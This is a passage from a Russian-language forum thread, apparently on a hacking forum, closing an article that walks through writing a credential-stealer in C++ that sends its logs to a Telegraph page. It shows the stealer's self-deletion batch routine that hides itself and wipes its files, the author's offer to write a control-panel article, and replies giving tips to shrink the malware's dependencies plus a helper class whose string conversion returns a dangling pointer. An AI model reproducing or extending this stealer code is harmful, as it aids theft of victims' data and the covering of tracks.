    DeleteBat << "\nif \"%~1\"==\"\" (set \"x=%~f0\"& start \"\" /min \"%comspec%\" /v/c \"!x!\" any_word & exit /b)\nTIMEOUT /T 2\nDEL /s /q " + Main_Config.MainDirectory + "\nDEL /s /q " + Converters::WStringToCSTR(Filename) + "\nDEL \"%~f0\"";
    DeleteBat.close();

    ShellExecute(NULL, L"open", Converters::StringToWString(Main_Config.BatDirectory + "\\temp.bat").c_str(), NULL, NULL, SW_SHOWNORMAL);
    exit(0);
}
malware_attack_security_thinkstock_811239600-100749982-large.jpg

Заключение
Вот мы с вами и написали демоверсию стиллера, который отправляет логи на страницу Telegraph. Естественно этот способ не идеален, но он определенно заслуживает вашего внимания. Код также далек от совершенства, но статья и не была направлена на написание готового продукта. Это лишь пища для размышлений. Хочу еще раз подметить, что в этой статье не был предоставлен исходный код панели управления, но если вы заинтересованы, то я могу написать статью на данную тему для вас (С#/C++/WPF). Вот вам котик на прощание:
maxresdefault (1).jpg
 
Ребят, буду благодарен, если «тыкнете» пальцем на все мои ошибки («программерские» , орфографические, пунктационные и т.д.). Я только рад повысить качество данной статьи.
 
Последнее редактирование:
несмотря на все зависимости, получился очень даже не плохой стиллер.
Может пофиксите ???
*Небольшая заметка для тех, кто хочет избавиться от лишних библиотек*
1) Вместо zip архивов можно воспользоваться '.cab' файлами, они нативно поддерживаются в Windows (ТЫК)
2) Вместо libcurl можно использовать WinInet (ТЫК)
3) Для Json'a нужно будет писать все ручками, но вы можете подчерпнуть идеи из готовых решений (ТЫК, ТЫК)
P.S. Надеюсь, что немного помог :)
 
а что плохого в использовании стл в малвари? тем более в стиллере
Пожалуйста :D
Он про класс:
C++:
class Converters
{
public:
    //String -> Wstring
    static wstring StringToWString(const string& str)
    {
        int size_needed{ MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0) };
        wstring wstrTo(size_needed, 0);
        MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
        return wstrTo;
    }

    //Wstring -> String
    static string WStringToString(const wstring& str)
    {
        const locale locale("");
        typedef codecvt<wchar_t, char, mbstate_t> converter_type;
        const converter_type& converter = use_facet<converter_type>(locale);
        vector<char> to(str.length() * (size_t)converter.max_length());
        mbstate_t state;
        const wchar_t* from_next;
        char* to_next;
        const converter_type::result result = converter.out(state, str.data(), str.data() + str.length(), from_next, &to[0], &to[0] + to.size(), to_next);
        return string(&to[0], to_next);
    }

    //WString -> Const Char*
    static const char* WStringToCSTR(const wstring& str)
    {
        string temp{ Converters::WStringToString(str) };
        return temp.c_str();
    }
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх